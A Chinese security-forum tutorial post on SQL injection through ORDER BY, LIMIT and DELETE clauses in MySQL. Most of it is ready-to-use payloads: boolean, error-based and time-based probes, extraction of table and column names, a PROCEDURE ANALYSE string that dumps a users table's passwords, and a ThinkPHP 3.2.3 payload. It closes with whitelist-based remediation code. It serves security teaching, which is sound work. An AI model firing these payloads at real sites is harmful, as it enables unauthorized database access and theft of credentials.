安全矩阵

 找回密码
 立即注册
搜索
查看: 2086|回复: 0

Order By 注入,一发入魂

[复制链接]

145

主题

192

帖子

817

积分

高级会员

Rank: 4

积分
817
发表于 2022-7-10 17:13:12 | 显示全部楼层 |阅读模式
Order By 注入,一发入魂
Order By 注入

当遇到不是 WHERE 后的注入点时,先在本地的 MySQL 中进行尝试,看语句后面能加什么,从而判断当前可以注入的位置,进而进行针对性的注入。

LIMIT后的注入判断比较简单,通过更改数字大小,页面会显示更多或者更少的记录数。由于语法限制,前面的字符注入方式不可行(LIMIT后只能是数字),在整个SQL语句没有ORDER BY关键字的情况下,可以直接使用UNION注入。另外,我们可根据SELECT语法,通过加入PROCEDURE来尝试注入,这类语句只适合MySQL 5.6前的版本。

DELETE语句的作用是删除某个表的全部或指定行的数据。对id参数进行注入时,稍有不慎就会使WHERE后的值为True,导致整个wp_news的数据被删除。

为了保证不会对正常数据造成干扰,通常使用'and sleep(1)'的方式保证WHERE后的结果返回为False,让语句无法成功执行。

order参数可控:select * from goods order by $_GET['order']

判断

order=11 错误

order=1 正常

order=IF(1=1,name,price) 通过name字段排序

order=IF(1=2,name,price) 通过price字段排序

order=(CASE+WHEN+(1=1)+THEN+name+ELSE+price+END) 通过name字段排序

order=(CASE+WHEN+(1=2)+THEN+name+ELSE+price+END) 通过price字段排序

order=IFNULL(NULL,price) 通过price字段排序

order=IFNULL(NULL,name) 通过name字段排序

order=rand(1=1)  排序结果不同

order=rand(1=2) 排序结果不同

order=IF(1=1,1,(select+1+union+select+2)) 正确

order=IF(1=2,1,(select+1+union+select+2)) 错误

order=IF(1=1,1,(select+1+from+information_schema.tables)) 正常

order=IF(1=2,1,(select+1+from+information_schema.tables)) 错误

order=(select+1+regexp+if(1=1,1,0x00)) 正常

order=(select+1+regexp+if(1=2,1,0x00)) 错误

order=updatexml(1,if(1=1,1,user()),1) 正确

order=updatexml(1,if(1=2,1,user()),1) 错误

order=extractvalue(1,if(1=1,1,user())) 正确

order=extractvalue(1,if(1=2,1,user())) 错误

order=if(1=1,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) 正常响应时间

order=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) sleep 2秒

order=(select+1+regexp+if(substring(user(),1,1)=0x72,1,0x00)) 正确

order=(select+1+regexp+if(substring(user(),1,1)=0x71,1,0x00)) 错误

order=(select+1+regexp+if(substring((select+concat(table_name)from+information_schema.tables+where+table_schema%3ddatabase()+limit+0,1),1,1)=0x67,1,0x00)) 正确

order=(select+1+regexp+if(substring((select+concat(table_name)from+information_schema.tables+where+table_schema%3ddatabase()+limit+0,1),1,1)=0x66,1,0x00)) 错误

order=(select+1+regexp+if(substring((select+concat(column_name)from+information_schema.columns+where+table_schema%3ddatabase()+and+table_name%3d0x676f6f6473+limit+0,1),1,1)=0x69,1,0x00)) 正常

order=(select+1+regexp+if(substring((select+concat(column_name)from+information_schema.columns+where+table_schema%3ddatabase()+and+table_name%3d0x676f6f6473+limit+0,1),1,1)=0x68,1,0x00)) 错误

rand(true)

rand(false)

rand((select char(substring(table_name,1,1)) from

经过测试可以发现,order=id desc,(if(1,sleep(1),1)) 会让页面延迟1秒,于是可以利用时间延时注入获取相关数据。

开发者在编写系统框架时无法使用预编译的办法处理这类参数。事实上,只要对输入的值进行白名单比对,基本上就能防御这种注入。

出数据payload

(case when (user() like 'root%') then phone else 1 end)

id and updatexml(1,concat(0x7,user(),0x7e),1)

payload:procedure analyse(extractvalue(rand(),concat(0x3a,(select version()))),1);

payload:

and if(ascii(substr(database(),2,1))=116,0,sleep(1))

查询数据库版本:

Procedure%20analyse(extractvalue(rand(),concat(0x3a,version())),1);

查询表名:

procedure analyse(extractvalue(rand(),concat(0x3a,(select group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479))),1);

查询字段:

procedure analyse(extractvalue(rand(),concat(0x3a,(select group_concat(column_name) from information_schema.columns where table_name=0x7573657273))),1);

查询字段内容:

procedure analyse(extractvalue(rand(),concat(0x3a,(select group_concat(password) from users))),1);

修复方案

1 通过正则表达式进行字符串过滤,只允许字段中出现字母、数字、下划线。

2 通过白名单思路,使用间接对象引用。前端传递引用数字或者字符串等,用于与后端做数组映射,这样可以隐藏数据库数据字典效果,避免直接引用带来的危害。

<?php

$orderby_whitelist = array(  

  "apple" => "apple ASC",  

  "applerev" => "apple DESC",

  "daterev" => "banana DESC",

  "DEFAULT" => "peach"

);

$order = isset($_GET["order"]) ? $_GET["order"] : "DEFAULT";

$order_expr = array_key_exists($order, $orderby_whitelist) ? $orderby_whitelist[$order] : $orderby_whitelist["DEFAULT"];

mysql_query("SELECT ... FROM ... ORDER BY $order_expr");

小拓展

Mysql数据库中1/0是warning,还是可以成功返回内容

但是在Oracle数据库中,1/0会触发error,并不能返回查询结果:

这个特性在判断Oracle SQL注入中是一个利器。

直接在排序字段后追加1/1和1/0,返回的结果应该是不一样的:

1/1时是可以正常返回查询结果的:

1/0成功触发报错:

这里基本可以判断注入点存在了,既然1/不同内容有不同的返回,那么就可以尝试构造1/(case when 1=1 then 1 else 0 end)这样的条件判断进行注入利用了。

ThinPHP 3.2.3

order[updatexml(1,concat(0x3a,user()),1)]=1

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 22:47 , Processed in 0.012688 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表